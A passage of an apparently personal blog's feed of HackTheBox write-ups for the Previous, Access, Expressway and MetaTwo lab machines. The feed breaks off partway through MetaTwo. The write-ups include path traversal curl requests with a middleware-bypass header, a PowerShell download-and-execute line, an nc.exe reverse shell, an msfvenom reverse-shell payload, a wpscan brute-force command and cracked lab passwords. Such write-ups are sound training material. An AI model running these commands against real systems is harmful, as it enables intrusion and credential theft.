Don&apos;t forget to include the &lt;code&gt;-mc all&lt;/code&gt; and &lt;code&gt;-fw 2&lt;/code&gt; options or it won&apos;t show up as the status code is &lt;code&gt;404&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ce11e29ec66a36337fb8a4786178dc63.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;LFI&lt;/h3&gt;
&lt;p&gt;As for further testing I started off with &lt;strong&gt;Path Traversal&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &apos;http://previous.htb/api/download?example=../../../../../etc/passwd&apos; -H &apos;X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware&apos; -v
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/96444dbcdc1b2ece827445cf10b160b0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So what can we do now? I tried checking for &lt;code&gt;ssh&lt;/code&gt; keys but wasn&apos;t able to read any if they even existed.&lt;/p&gt;
&lt;p&gt;Instead I checked the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/68c39ba6f1683b52ec29dd8773e21a7d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;/proc/self/environ&lt;/code&gt; file was especially useful here.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4e336958a2ef03eab7ff9520927b96ce.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NODE_VERSION=18.20.8
HOSTNAME=0.0.0.0
YARN_VERSION=1.22.22
SHLVL=1
PORT=3000
HOME=/home/nextjs
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NEXT_TELEMETRY_DISABLED=1
PWD=/app
NODE_ENV=production
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We now have gathered that the directory we should be looking in is called &lt;code&gt;/app&lt;/code&gt;, but what sub-folders does it contain?&lt;/p&gt;
&lt;h4&gt;NextJS sub-folder structure.&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a575902b8f48b733194e327b916ff14f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looking further into the &lt;code&gt;next/&lt;/code&gt; directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/23f2b766de996931093446803e67f92d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using this command I could then see the endpoint logic:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &apos;http://previous.htb/api/download?example=../../../../../app/.next/routes-manifest.json&apos; -H &apos;X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware&apos; -v --output -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/523d38cfee796ff8c9babe54d1f8a476.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;/api/auth/[...nextauth]&lt;/code&gt; is especially telling since it explains the authentication logic.&lt;/p&gt;
&lt;p&gt;Going back to what other sub-folders are compiled within &lt;code&gt;.next/&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e6739dedd1271018f01eef39ecf899ff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Diving deeper into &lt;code&gt;server/pages&lt;/code&gt; now.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/237759e222651204dd3cc21099345e69.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This needs to be URL encoded.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2c12ff33b5e3e286075eb00f5d89fe73.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &apos;http://previous.htb/api/download?example=../../../../../app/.next/server/pages/api/auth/%5b...nextauth%5d.js&apos; -H &apos;X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware&apos; -v --output -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3d71bdf31a8d17aabea40e1ac07ce15d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We get a set of cleartext credentials out of it!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Jeremy
MyNameIsJeremyAndILovePancakes
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;ssh as Jeremy&lt;/h2&gt;
&lt;p&gt;We can log in as &lt;em&gt;Jeremy&lt;/em&gt; which is odd since he was not present inside the &lt;code&gt;/etc/passwd&lt;/code&gt; list.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9f3ce865a207f206d7ea875050c37590.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b384a2ab39472055b80a359aa6c6b7b6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!note]+
Seeing the presence of the &lt;code&gt;docker&lt;/code&gt; interface means that the web instance was HIGHLY LIKELY running from there.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0326241be46f5741af61710d11d0e5a2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;Continuing on I noticed the &lt;code&gt;.terraformrc&lt;/code&gt; file so I checked &lt;code&gt;sudo -l&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1172ed9d92d7301e16525c5cd015d13d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So what does this binary actually do?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ac06beab47ec020e9e125172645adda3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Terraform&lt;/h3&gt;
&lt;p&gt;Diving deeper into &lt;code&gt;/opt/examples&lt;/code&gt; I find this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c1d5d661e2ac9df896f120e4420cf9d0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
My current user does &lt;em&gt;not&lt;/em&gt; have any write privileges.
:::&lt;/p&gt;
&lt;p&gt;I took a dive into &lt;a href=&quot;https://developer.hashicorp.com/terraform/cli/config/environment-variables&quot;&gt;the docs&lt;/a&gt; where I found:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dac5d95ea99d52d9febe1a371af5ee8a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Abusing Terraform&lt;/h2&gt;
&lt;p&gt;I noticed that the PATH was set to the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6444fb1ce78bbd0e1a06c72b8ef8c252.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So I changed it to &lt;code&gt;/tmp&lt;/code&gt; whereafter I added the following.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bab1c54fbf31e1984885973ad1a48d81.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then ran the command:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0dc44220f27bdfb3ba81943ae48a5871.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I could then verify it using &lt;code&gt;ls -la&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5d3cd0d86c98a2451eee4a3bfe5d0cbe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now all that&apos;s left is to &lt;code&gt;/bin/bash -p&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/86b22a7079c187890580cb8b855dc226.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/89e3b8ff1b1920b71e97a086471d0773.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0dd94ca00be8bec14b80a198c87d62ca.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Access</title><link>https://maxk9999.vercel.app/posts/access</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/access</guid><pubDate>Thu, 18 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.10.98
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC -sT -p- access.htb -T5 --min-rate=5000 -vvvv -Pn

PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp     syn-ack Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Cant get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst: 
|_  SYST: Windows_NT
23/tcp open  telnet  syn-ack Microsoft Windows XP telnetd (no more connections allowed)
80/tcp open  http    syn-ack Microsoft IIS httpd 7.5
|_http-title: MegaCorp
|_http-server-header: Microsoft-IIS/7.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I noticed that &lt;code&gt;ftp&lt;/code&gt; was readable using anon access.&lt;/p&gt;
&lt;h2&gt;21/TCP - FTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/54b370d5bcef4485586f6a4e1d83b31c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found the &lt;code&gt;backup.mdb&lt;/code&gt; file inside the &lt;code&gt;Backups&lt;/code&gt; directory which I transferred over and analyzed it using &lt;code&gt;strings&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3f7743725803bdcb511fba908e85bc9d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As well as the &lt;code&gt;Access Control.zip&lt;/code&gt; file inside the &lt;code&gt;Engineer&lt;/code&gt; directory.&lt;/p&gt;
&lt;h3&gt;zip file&lt;/h3&gt;
&lt;p&gt;This latter file was password protected:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/84b37cd4fe565153fb3a27ae6945c4f6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can try to crack it using &lt;code&gt;zip2john&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7d3686d02b1bc6ae02a422cb8bdef364.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However this did not work:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2b68341638616b8660bc288fc761760a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Instead I went ahead and used the output of the &lt;code&gt;backup.mdb&lt;/code&gt; file in combination with &lt;code&gt;strings&lt;/code&gt; to create a password list which I then would use to crack the password:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/82a0e7ac43076337db6e9ad581ebb0fd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;access4u@security
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I used this password to open up the zip file which extracted the &lt;code&gt;Access Control.pst&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b1d5f39bfb2744f0aa76ab678de0ef24.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;.pst file&lt;/h3&gt;
&lt;p&gt;I had to look up what a &lt;code&gt;.pst&lt;/code&gt;  file extension even was:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5cb35d78ed41dd44e2fab2c70923fb22.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can use the &lt;code&gt;readpst&lt;/code&gt; binary to read it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/14554f4d3cd4518f5424793832ac28df.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can now go ahead and use &lt;code&gt;cat&lt;/code&gt; to read the contents of the newly created file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1c311371c154a5501962388f9ee6b79d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4dea09dd9698f15467697e207d2b691f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;security
4Cc3ssC0ntr0ller
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;23/TCP - Telnet&lt;/h2&gt;
&lt;p&gt;Using &lt;code&gt;telnet&lt;/code&gt; we were able to get ez access:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b86adbc28742540c64f52d99a3e14c10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;I then went on to get the &lt;code&gt;user.txt&lt;/code&gt; flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cf8342378f4a5a449e501272609ba8d5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/824c092d343db9d06f8115ec1a21dcbe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found some interesting directories inside the &lt;code&gt;C:\&lt;/code&gt; drive.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2d6ed6e0176658f4cc2be319d7785ac8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then wanted to do some automated enum but got blocked:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3838fc4c2409d6d7f9b9c0963c686a32.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The group policy wouldn&apos;t let me.&lt;/p&gt;
&lt;p&gt;However I could execute &lt;code&gt;powershell&lt;/code&gt; commands:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/873aff63ceadfc9839385ee5886206b9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So I then used this &lt;code&gt;powershell&lt;/code&gt; reverse shell where I appended the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b2233f38d95c81fbef914560ecfcccd2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2ce3e5b0b80d9e371ffbef68d26dde39.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then using the following command I don&apos;t have to manually trigger the shell anymore, it get&apos;s executed on download:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;powershell &quot;IEX(New-Object Net.WebClient).downloadstring(&apos;http://10.10.14.6/shell.ps1&apos;)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/822a629ab66dcd9c7315d3578ae153c9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Stored Creds&lt;/h2&gt;
&lt;p&gt;Using the &lt;code&gt;cmdkey /list&lt;/code&gt; command we figure out that there are stored creds for the &lt;em&gt;Administrator&lt;/em&gt; on the machine:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2cba3d37748efec9c75ba5077321068a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since these creds should give us direct access as the &lt;em&gt;Admin&lt;/em&gt; we can abuse this using the &lt;code&gt;runas&lt;/code&gt; command.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;runas /savecreds /user:ACCESS\Administrator &quot;nc.exe 10.10.14.6 443 -e bash&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unfortunately it connected but instantly kicked us off:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4546f3b83ae37400fa19e926ba26e743.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We need something with more persistence.&lt;/p&gt;
&lt;h3&gt;msfvenom&lt;/h3&gt;
&lt;p&gt;Using the following &lt;code&gt;msfvenom&lt;/code&gt; payload the shell stayed up and I had elevated access:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.6 LPORT=443 -f exe &amp;gt; shell.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/be80456a573c0abfbab7ccaa29d9801f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e63af1e0932f73b3f61474447f3ca986.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2fe171a0d27a4716a0d830d18154bc99.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Expressway</title><link>https://maxk9999.vercel.app/posts/expressway</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/expressway</guid><pubDate>Sun, 21 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.87
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC -sT -p- expressway.htb -T5 --min-rate=5000 -vvvv -Pn 

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Only one port showed up so I decided to run a &lt;code&gt;UDP&lt;/code&gt; scan as well.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC -sU -p- expressway.htb -T5 --min-rate=5000 -vvvv -Pn

Discovered open port 500/udp on 10.10.11.87
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since the &lt;code&gt;500&lt;/code&gt; port showed up I reran the scan focussing on this port.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC -sU -p500 expressway.htb -T5 --min-rate=5000 -vvvv -Pn

PORT    STATE SERVICE REASON              VERSION
500/udp open  isakmp? udp-response ttl 63
| ike-version: 
|   attributes: 
|     XAUTH
|_    Dead Peer Detection v1.0
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;500/UDP - ISAKMP&lt;/h2&gt;
&lt;p&gt;Using &lt;a href=&quot;https://book.hacktricks.wiki/en/network-services-pentesting/ipsec-ike-vpn-pentesting.html&quot;&gt;this resource&lt;/a&gt; I was able to learn more about this service.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4afabfc20253e23a93ea451a27a00e81.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Reading further down:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/709f9083d8b04b515346850ee3d18570.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s get to it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ike-scan -M --showbackoff expressway.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/20fab7cb11951e67c3ad9cdd713c58e8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;IKE Xauth&lt;/h3&gt;
&lt;p&gt;Since we&apos;re dealing with &lt;code&gt;Xauth&lt;/code&gt; here we&apos;ll have to follow along with this part:&lt;/p&gt;
&lt;p&gt;Using the &lt;code&gt;-A&lt;/code&gt; aggressive mode we can acquire hashes and identities in cleartext:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cffb2e49910127611adc9241bb1bf087.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As well as the &lt;code&gt;psk&lt;/code&gt; hashes:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/01982ad0637bf97c769f9cfaf8bd4dc2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Hash cracking&lt;/h3&gt;
&lt;p&gt;I can find the correct hash format as follows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/121c31d665bd4d728f6d1fd5924ca701.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;ike-scan&lt;/code&gt; previously told us we&apos;re dealing with a &lt;code&gt;SHA1&lt;/code&gt; hash:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1717b4f04e0e5ebddc5ddd1317065ce4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s get to cracking.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e5afb103512fa8146b98c8974b5996ec.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9e99f479b65164ca527963acd5522faa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ike@expressway.htb
freakingrockstarontheroad
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;SSH as ike&lt;/h2&gt;
&lt;p&gt;We can use these creds to login via &lt;code&gt;ssh&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/94e62550e748427435d61698532d80d0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here we can instantly pick up &lt;code&gt;user.txt&lt;/code&gt;.&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;I noticed this user was part of the &lt;em&gt;proxy&lt;/em&gt; group:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3cc5ee7d06d6ad516eb078fe90f34405.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We weren&apos;t able to run &lt;code&gt;sudo&lt;/code&gt; either:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/79856e9bd63354444b298a6fa6b2fa16.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;For automated enum I ran &lt;code&gt;linpeas&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/517b147f4afead593a7351cba1b678ee.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2dc347380df887739563aad776cc9174.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From my memory I had previously found an exploit that could easily give us &lt;em&gt;root&lt;/em&gt; by exploiting this &lt;code&gt;sudo&lt;/code&gt; version:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fa6be969051293c5cfe9dd7cedf0fd95.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s try it out:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4b4b65bb63ec2ab5e7535ac987dcd9d9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;EZ PZ &lt;em&gt;root&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/05e8ae1f4fcbd04c9eb8219858ab8db9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-MetaTwo</title><link>https://maxk9999.vercel.app/posts/metatwo</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/metatwo</guid><pubDate>Mon, 22 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.186
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC -sT -p- metatwo.htb -T5 --min-rate=5000 -vvvv -Pn

PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp?    syn-ack
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    syn-ack nginx 1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;I used &lt;code&gt;gobuster&lt;/code&gt; to enumerate the website and noticed that it was running &lt;strong&gt;WordPress&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/60d36b0b2c1e64e166279f9ec16a251a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Heading over to the site we notice a simple landing page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/66b62da3152b566a6b1460fa4453e46a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then headed over to &lt;code&gt;/wp-admin&lt;/code&gt; to try and login using default creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/712069ef6c7f14491f9b02b3bcc62f4b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/18f92110f89ff1969d8c5d9746f93287.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This tells us that the user &lt;em&gt;admin&lt;/em&gt; does exist.&lt;/p&gt;
&lt;p&gt;:::note
We can possibly brute-force it in case &lt;code&gt;xmlrpc&lt;/code&gt; is enabled
:::&lt;/p&gt;
&lt;h3&gt;wpscan&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f85bf28232ef588e424e0a1957b6fc8f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Running &lt;code&gt;wpscan&lt;/code&gt; we notice that it&apos;s in fact enabled meeaning we can try to throw a wordlist against it. But first we&apos;ll check further down for the results.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d16ca75dddc58b17dee0ed1431c949af.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
The &lt;code&gt;twentytwentyone&lt;/code&gt; theme is vulnerable, once we&apos;re inside we can get a webshell/reverse shell by modifying the &lt;code&gt;404.php&lt;/code&gt; page in order to achieve the desired results.
:::&lt;/p&gt;
&lt;h3&gt;brute forcing xmlrpc - FAIL&lt;/h3&gt;
&lt;p&gt;Using the following command I try to brute force the &lt;em&gt;admin&lt;/em&gt; credentials:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo wpscan --password-attack xmlrpc -t 20 -U admin -P /usr/share/wordlists/rockyou.txt --url http://metapress.htb/ --ignore-main-redirect 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f9a6bac8ffbefb1ce6dd52eb1f0682e1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This took way too long however so naturally I continued on while leaving the brute force running.&lt;/p&gt;
&lt;p&gt;I also found another user using the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo wpscan --enumerate u -t 20 --url http://metapress.htb/ --ignore-main-redirect
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a30031a7aec16d2a5054230cc806fcae.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then tried out brute forcing &lt;em&gt;manager&lt;/em&gt; as well.&lt;/p&gt;
&lt;h3&gt;XSS in search parameter - FAIL&lt;/h3&gt;
&lt;p&gt;Back on the main page I found a &lt;strong&gt;Search&lt;/strong&gt; input bar:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9b032fb84a8fba6681cafd7ce526370f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
